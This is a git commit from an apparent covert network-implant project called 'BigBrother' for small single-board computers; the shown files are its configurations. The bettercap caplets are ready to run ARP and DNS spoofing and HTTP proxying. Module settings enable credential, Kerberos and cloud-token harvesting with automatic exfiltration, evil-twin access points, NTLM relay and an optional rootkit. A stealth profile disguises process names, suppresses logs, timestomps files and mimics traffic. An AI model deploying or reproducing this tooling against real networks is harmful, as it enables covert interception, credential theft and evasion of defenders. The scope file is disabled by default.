Add Phase 1 utility modules: crypto, networking, logging, stealth, resource, permissions, config_loader, bettercap_api

9 files in utils/ providing the shared infrastructure layer:
- crypto: AES-256-GCM file encryption, argon2id/PBKDF2 key derivation, HKDF network unlock, LUKS container management
- networking: interface detection, MAC/IP helpers, BPF compilation via libpcap ctypes, gratuitous ARP, VLAN creation
- logging: encrypted log writer (BBLogger) with rotation, per-module files, stdout suppression for stealth
- stealth: process rename via prctl, cmdline spoofing, sysctl helpers, timestomping, core dump disable
- resource: hardware tier detection (OPi Zero 3 / Pi Zero / generic) via /proc/device-tree and cpuinfo, resource monitoring
- permissions: root/capability checks via capget ctypes, privilege dropping, directory permission enforcement
- config_loader: YAML merge hierarchy (hardware_tiers -> bigbrother -> modules -> stealth -> CLI), tier auto-detection, SIGHUP reload
- bettercap_api: REST client with per-session random credentials, session/events/command methods
This commit is contained in:
n0mad1k
2026-03-18 08:11:25 -04:00
parent 63e317176d
commit 62a1010ab4
35 changed files with 2145 additions and 0 deletions
+96
View File
@@ -0,0 +1,96 @@
# BigBrother Master Configuration
# Non-sensitive defaults only. Keys, auth tokens, engagement data
# stored in storage/config/ inside LUKS container.
#
# Platform: Orange Pi Zero 3 (primary), RPi Zero 2W (jumpbox), Debian host
# See hardware_tiers.yaml for tier-specific limits.
device:
platform: "auto" # auto | opi_zero3 | pi_zero | generic
hostname: "iot-sensor-03" # Matches selected MAC profile
install_path: "/opt/.cache/bb" # OPSEC: innocuous install path
network:
primary_interface: "auto" # auto-detect active interface
bridge:
enabled: false
internal: "eth0" # LAN-side (target network)
external: "eth1" # WAN-side (uplink)
wifi:
interface: "wlan0"
cellular:
enabled: false
modem_device: "/dev/ttyUSB0" # SIM7600/EC25 via 13-pin header USB
scope_enforcement: false # Enforce scope.yaml restrictions
scope_file: null # Path to scope.yaml override
connectivity:
# WireGuard primary: zero traffic when idle (PersistentKeepalive=0),
# instant access when operator sends a packet. No beacons, no heartbeats,
# no coordination servers. Completely silent while idle.
primary: "wireguard"
failover_chain:
- wireguard
- tailscale
- reverse_ssh
- cellular
wireguard:
endpoint: "" # operator-controlled WG endpoint (host:port)
private_key_file: "storage/config/wg_private.key"
peer_public_key: ""
allowed_ips: "10.99.0.0/24"
tailscale:
auth_key: "" # Per-engagement auth key
hostname: "" # Matches MAC profile hostname
reverse_ssh:
relay_host: ""
relay_port: 22
relay_user: "bb"
key_file: "storage/config/ssh_relay.key"
security:
encryption: "aes-256-gcm" # PCAP + credential encryption
encryption_key_derive: "argon2id" # argon2id | pbkdf2 (RPi Zero 2W)
luks_container: "storage/encrypted.luks"
kill_switch_enabled: true
dead_man_switch:
enabled: false
interval_hours: 72 # Auto-wipe if no operator checkin
capture:
interface: "auto" # auto-detect or explicit interface
snap_length: 65535 # Full packet capture
pcap_rotation_hours: 1 # Rotate PCAP every hour
pcap_compression: "zstd"
pcap_compression_level: 19 # OPi Zero 3: -19 (max). RPi Zero 2W: auto-downgrade to -3
pcap_format: "pcapng"
pcap_encryption: true # AES-256-GCM post-compression
bpf_filter: "full_capture" # Reference to data/bpf_filters/<name>.bpf
disk_max_pct: 85 # Auto-purge oldest PCAPs above this threshold
stealth:
mac_profile: "auto" # auto | streaming | printer | iot | <specific device_name>
mac_network_type: "auto" # auto | business | home
process_disguise: true # Rename all processes to system service names
log_suppression: true # Suppress syslog/auditd/journald evidence
overlayfs: true # Read-only root + tmpfs overlay (SD protection)
traffic_mimicry: true # Shape exfil to match baseline patterns
baseline:
duration_hours: 48 # Traffic baseline collection period
auto_start: true # Begin baseline on first boot
engagement_phase:
mode: "passive_only" # passive_only | active_allowed
passive_days: 7 # Minimum passive-only observation period
auto_transition: true # Auto-allow active after passive_days
active_allowed_after: null # ISO timestamp override (manual scheduling)
bettercap:
binary: "/usr/local/bin/bettercap"
api_address: "127.0.0.1" # Localhost only -- never network-visible
api_port: 8083
api_user: "bb"
# api_password generated per-session, stored in memory only
default_caplet: "passive_recon"
caplets_path: "config/caplets"
+5
View File
@@ -0,0 +1,5 @@
set arp.spoof.fullduplex true
set arp.spoof.internal false
# targets set dynamically via API
arp.spoof on
net.sniff on
+3
View File
@@ -0,0 +1,3 @@
set dns.spoof.all false
# domains set dynamically via API
dns.spoof on
+7
View File
@@ -0,0 +1,7 @@
set arp.spoof.fullduplex true
set arp.spoof.internal false
set http.proxy.sslstrip false
set net.sniff.verbose false
arp.spoof on
http.proxy on
net.sniff on
+6
View File
@@ -0,0 +1,6 @@
set net.sniff.verbose false
set net.sniff.local true
set net.sniff.output /tmp/bb_sniff.pcap
net.recon on
net.sniff on
events.stream on
+2
View File
@@ -0,0 +1,2 @@
wifi.recon on
wifi.show
+65
View File
@@ -0,0 +1,65 @@
# BigBrother Hardware Tier Definitions
# Platform-specific resource limits and capability gates.
# Platform auto-detected at boot or set in bigbrother.yaml.
# ---------------------------------------------------------------------------
# Orange Pi Zero 3 (4GB) — Primary Implant
# Allwinner H618, 4x Cortex-A53 @ 1.5GHz, WiFi 5 + BT 5.0, 1x GbE
# Dimensions: 50x55mm, ~$29, 0.8W idle / ~3.5W load
# OS: Armbian Debian 12 Bookworm
# ---------------------------------------------------------------------------
opi_zero3:
max_passive: 16 # All passive modules supported
max_active: 6 # Concurrent active module limit
max_ram_mb: 3800 # ~4GB minus OS overhead
zstd_level: 19 # Max compression (10-15x on PCAPs)
kdf: "argon2id" # Strong key derivation
mitmproxy: true # 100-200MB RAM — fits in budget
lkm: false # No kernel headers on Armbian
cellular: true # Via 13-pin header USB breakout
overlayfs_mb: 200 # tmpfs overlay size
thermal_warning: 55 # Celsius — needs heatsink
thermal_shed: 70 # Shed active modules at this temp
wifi_attacks: true # Built-in WiFi 5 supports evil twin
inline_bridge: true # Via USB Ethernet adapter
# ---------------------------------------------------------------------------
# Raspberry Pi Zero 2W — Jumpbox / Beacon
# BCM2710A1, 4x Cortex-A53 @ 1.0GHz, WiFi 4, no Ethernet (USB adapter)
# 512MB RAM — lightweight passive sniffing + callback beacon only.
# No active attack capability. Deploy as decoy/expendable.
# ---------------------------------------------------------------------------
pi_zero:
max_passive: 4 # dns_logger, credential_sniffer, host_discovery, +1
max_active: 0 # No active modules — jumpbox only
max_ram_mb: 410 # 512MB minus OS (~110MB)
zstd_level: 3 # Fast mode (5-8x compression, minimal CPU)
kdf: "pbkdf2" # argon2id too expensive for 512MB
mitmproxy: false # Way too much RAM
lkm: false # No kernel headers
cellular: false # No USB header
overlayfs_mb: 30 # Minimal tmpfs overlay
thermal_warning: 55 # Celsius
thermal_shed: 70 # Shed modules at this temp
wifi_attacks: false # WiFi 4 too weak for evil twin
inline_bridge: false # No Ethernet port
# ---------------------------------------------------------------------------
# Generic Debian Host — Full Capability
# Any x86_64/aarch64 Debian host. No hardware constraints.
# Supports all modules including LKM rootkit.
# ---------------------------------------------------------------------------
generic:
max_passive: 16 # All passive modules
max_active: 99 # Effectively unlimited
max_ram_mb: null # No artificial limit
zstd_level: 19 # Max compression
kdf: "argon2id" # Strong key derivation
mitmproxy: true # Plenty of RAM
lkm: true # Kernel headers available
cellular: true # If USB modem attached
overlayfs_mb: null # Not needed on full host
thermal_warning: 80 # Server-grade thermal limits
thermal_shed: 95 # Server-grade thermal limits
wifi_attacks: true # If wireless adapter present
inline_bridge: true # Dual NIC supported
+307
View File
@@ -0,0 +1,307 @@
# BigBrother Module Configuration
# Per-module enable/disable and parameters.
# Modules gated by hardware tier and engagement phase.
# ---------------------------------------------------------------------------
# Passive Modules (16) — metadata extraction, zero network noise
# ---------------------------------------------------------------------------
passive:
packet_capture:
enabled: true
description: "tcpdump wrapper + zstd + AES-256-GCM rotation pipeline"
rotation_hours: 1
snap_length: 65535
max_pcap_files: 168 # 1 week at hourly rotation
disk_purge_pct: 85
dns_logger:
enabled: true
description: "Per-host DNS query log to SQLite"
batch_size: 1000
flush_interval_s: 60
flag_doh_resolvers: true # Flag DoH blind spots (1.1.1.1, 8.8.8.8, 9.9.9.9)
tls_sni_extractor:
enabled: true
description: "TLS ClientHello SNI extraction to SQLite"
credential_sniffer:
enabled: true
description: "Cleartext + NTLM credential extraction"
auto_exfil: true # Immediate push via data_exfil
protocols:
- ftp
- http_basic
- http_digest
- http_form
- snmp
- ldap_simple
- ntlmv1
- ntlmv2
kerberos_harvester:
enabled: true
description: "AS-REP/TGS-REP ticket extraction for offline cracking"
auto_exfil: true # Tickets expire -- immediate push
host_discovery:
enabled: true
description: "Passive host inventory (ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR)"
dhcp_fingerprinting: true
os_fingerprint:
enabled: true
description: "p0f-style passive TCP/HTTP/DHCP/SMB/SSH fingerprinting"
traffic_analyzer:
enabled: true
description: "Flow tracking, beacon detection, top talkers, bandwidth profiling"
beacon_threshold_s: 60 # Min interval to flag as beacon
beacon_min_count: 10 # Min occurrences to confirm beacon
vlan_discovery:
enabled: true
description: "802.1Q/DTP/STP/CDP/LLDP/802.1X detection"
network_mapper:
enabled: true
description: "Communication graph construction (all-pairs, protocol/volume)"
snapshot_interval_hours: 4
auth_flow_tracker:
enabled: true
description: "Cross-protocol auth correlation (Kerberos/NTLM/SSH/LDAP)"
smb_monitor:
enabled: true
description: "SMB2/3 share/file access metadata, GPP/SYSVOL detection"
cloud_token_harvester:
enabled: true
description: "Passive AWS/JWT/OAuth token extraction from cleartext HTTP"
ldap_harvester:
enabled: true
description: "LDAP query/response parsing, AD object inventory"
rdp_monitor:
enabled: true
description: "RDP NLA username/hostname/domain extraction"
quic_analyzer:
enabled: true
description: "QUIC Initial packet SNI extraction (RFC 9000/9001)"
db_interceptor:
enabled: false # Enable per-engagement if DB traffic expected
description: "TDS/MySQL/PostgreSQL/Redis/MongoDB login + query metadata"
protocols:
- mssql
- mysql
- postgresql
- redis
- mongodb
# ---------------------------------------------------------------------------
# Active Modules (8) — operator-enabled, bettercap + tool wrappers
# Gated by engagement_phase.mode == active_allowed
# ---------------------------------------------------------------------------
active:
bettercap_mgr:
enabled: true
description: "Central bettercap orchestrator (REST API lifecycle)"
max_restarts: 3
health_poll_interval_s: 10
arp_restore_on_crash: true # Send corrective gratuitous ARPs on crash
arp_spoof:
enabled: false # OPSEC WARNING: most-detected technique
description: "ARP spoofing via bettercap (full-duplex, selective targeting)"
targets: [] # Specific IPs only -- never subnet
gateway: "auto"
dns_poison:
enabled: false
description: "DNS poisoning via bettercap dns.spoof"
domains: {} # domain: target_ip mapping
mode: "selective" # selective | all
dhcp_spoof:
enabled: false
description: "DHCPv6 spoofing via bettercap dhcp6.spoof"
pool_start: ""
pool_end: ""
evil_twin:
enabled: false
description: "hostapd + dnsmasq rogue AP with captive portal"
ssid: ""
channel: 6
portal: "corporate_login" # Template from templates/captive_portals/
wids_observation_hours: 2 # Run wireless IDS detection before activation
ipv6_slaac:
enabled: false
description: "IPv6 SLAAC spoofing (bettercap dhcp6.spoof + mitm6 WPAD)"
responder_mgr:
enabled: false
description: "Responder subprocess wrapper (LLMNR/NBT-NS/mDNS poisoning)"
protocols:
llmnr: true
nbtns: true
mdns: true
analyze_mode: false # Analyze only, no poisoning
mitmproxy_mgr:
enabled: false # OPi Zero 3+ only (100-200MB RAM)
description: "mitmproxy transparent mode with addon scripts"
addons:
- credential_extractor
- cloud_token_extractor
ca_cn: "" # Override default CA CN to match target PKI
ntlm_relay:
enabled: false
description: "ntlmrelayx subprocess wrapper (SMB/LDAP/ADCS relay)"
targets: []
attack: "smb" # smb | ldap | ldaps | http | mssql | adcs
# ---------------------------------------------------------------------------
# Stealth Modules (12) — OPSEC layer
# ---------------------------------------------------------------------------
stealth:
mac_manager:
enabled: true
description: "Innocuous MAC profile database + DHCP/TCP stack spoofing"
process_disguise:
enabled: true
description: "Rename all processes (Python/bettercap/tcpdump) to system services"
log_suppression:
enabled: true
description: "rsyslog filter, auditd exclusion, journald rate-limit, history clear"
encrypted_storage:
enabled: true
description: "LUKS encrypted storage with network-derived key"
tmpfs_manager:
enabled: true
description: "tmpfs for active module working dirs (power loss = destruction)"
watchdog:
enabled: true
description: "Monitor all services + subprocesses, auto-restart (max 3)"
anti_forensics:
enabled: true
description: "Timestomp, secure deletion, no core dumps, no swap"
traffic_mimicry:
enabled: true
description: "Shape implant traffic to match 48h baseline patterns"
ja3_spoofer:
enabled: true
description: "Chrome/Firefox/Edge JA3 on all outbound HTTPS"
ids_tester:
enabled: true
description: "Check planned actions against Snort/Suricata rules"
lkm_rootkit:
enabled: false # Debian host only, requires kernel headers
description: "LKM to hide processes/files/connections from /proc"
overlayfs_manager:
enabled: true
description: "Read-only root FS + tmpfs overlay (zero SD writes)"
# ---------------------------------------------------------------------------
# Intelligence Modules (8) — on-device analysis + aggregation
# ---------------------------------------------------------------------------
intel:
credential_db:
enabled: true
description: "Central credential store (bettercap/Responder/mitmproxy ingestion)"
dedup: true
export_formats:
- hashcat
- csv
- json
topology_mapper:
enabled: true
description: "Network topology aggregation + Graphviz DOT/SVG output"
net_intel:
enabled: true
description: "Beacon/C2 detection, anomaly baseline, service dependency mapping"
user_timeline:
enabled: true
description: "Per-user activity timeline (logins, services, files, websites)"
supply_chain_detect:
enabled: true
description: "Detect internal repos, WSUS, CA, SCCM, container registries, CI/CD"
change_detector:
enabled: true
description: "Continuous baseline diff (new hosts, services, scan activity)"
check_interval_s: 300
security_posture:
enabled: true
description: "Detect EDR/SIEM/NAC/honeypots/vuln scanners/network taps"
operator_audit:
enabled: true
description: "Append-only HMAC-chained SSH session + command audit trail"
tool_output_parser:
enabled: true
description: "Parse bettercap events, Responder logs, mitmproxy flows"
# ---------------------------------------------------------------------------
# Connectivity Modules (8) — operator access + data exfil
# ---------------------------------------------------------------------------
connectivity:
wireguard:
enabled: true
description: "Primary C2 -- zero traffic when idle, instant on demand"
persistent_keepalive: 0 # Silent until operator connects
tailscale:
enabled: false # Only if WG blocked or target has existing TS traffic
description: "Fallback mesh VPN via Tailscale"
bridge:
enabled: false
description: "Transparent inline bridge (802.1X bypass, STP/CDP suppression)"
failsafe_timeout_s: 15 # C watchdog failsafe
wifi_client:
enabled: false
description: "WPA2-PSK/Enterprise WiFi client via wpa_supplicant"
reverse_tunnel:
enabled: false
description: "autossh reverse SSH (over WebSocket or TLS, never raw on 443)"
cellular_backup:
enabled: false # OPi Zero 3+ only (13-pin header USB)
description: "LTE modem out-of-band backup (SIM7600/EC25)"
ble_emergency:
enabled: false
description: "BLE GATT server for emergency status/kill/reboot (PSK auth)"
data_exfil:
enabled: true
description: "Priority push (creds), nightly sync (intel), on-demand pull (PCAPs)"
cred_push_immediate: true
intel_sync_hour: 3 # 03:00 local time
respect_mimicry: true # Shape to baseline traffic patterns
+28
View File
@@ -0,0 +1,28 @@
# BigBrother Scope Enforcement
# Optional. When enabled, all passive/active modules respect these boundaries.
# Prevents accidental out-of-scope activity during engagements.
enabled: false
# In-scope target networks (CIDR notation)
networks: []
# - 10.10.0.0/16
# - 10.0.0.0/24
# In-scope individual hosts (IP or FQDN)
hosts: []
# - dc01.corp.local
# - 10.10.1.50
# In-scope domains (wildcard matching)
domains: []
# - corp.local
# - internal.example.com
# Excluded networks — always out of scope (overrides networks/hosts above)
exclude_networks: []
# - 10.10.99.0/24 # OT segment
# Excluded hosts — always out of scope
exclude_hosts: []
# - 10.10.1.1 # Production gateway
+53
View File
@@ -0,0 +1,53 @@
# BigBrother Stealth / OPSEC Profile
# Process disguise, log suppression, anti-forensics, traffic mimicry.
# ---------------------------------------------------------------------------
# Process Name Disguise
# All managed processes renamed to innocuous system service names.
# /proc/PID/exe still points to real binary (unavoidable without LKM).
# ---------------------------------------------------------------------------
process_names:
python3: "systemd-thermald"
bettercap: "networkd-dispatcher"
tcpdump: "systemd-netlogd"
responder: "systemd-resolved"
mitmproxy: "systemd-networkd"
ntlmrelayx: "systemd-logind"
hostapd: "wpa_supplicant"
dnsmasq: "systemd-resolved"
# ---------------------------------------------------------------------------
# Log Suppression
# Minimize forensic artifacts in system logs.
# ---------------------------------------------------------------------------
log_suppression:
rsyslog_filter: true # Drop log entries matching our processes/paths
auditd_exclusion: true # Exclude our PIDs/paths from audit rules
journald_rate_limit: true # Rate-limit journal entries from our services
bash_history: false # Disable bash history for root/.bashrc
utmp_wtmp: false # Suppress login records (utmp/wtmp/btmp)
# ---------------------------------------------------------------------------
# Anti-Forensics
# Minimize on-disk evidence.
# ---------------------------------------------------------------------------
anti_forensics:
timestomp: true # Match all file timestamps to reference file
timestomp_reference: "/etc/os-release" # Use OS install date as reference
core_dumps: false # Disable core dumps (ulimit -c 0)
swap: false # Disable swap entirely (swapoff -a)
secure_delete: true # Overwrite before unlink for sensitive files
bettercap_home_tmpfs: true # Set $HOME to tmpfs (no ~/.bettercap/ artifacts)
bettercap_no_history: true # --no-history flag for bettercap
# ---------------------------------------------------------------------------
# Traffic Mimicry
# Shape implant traffic to match observed network baseline.
# ---------------------------------------------------------------------------
traffic_mimicry:
enabled: true
baseline_hours: 48 # Duration of traffic baseline collection
shape_exfil: true # Time and size exfil to match upload patterns
match_protocols: true # Use same protocols as observed traffic
match_timing: true # Match time-of-day activity patterns
jitter_pct: 15 # Random jitter on all timed operations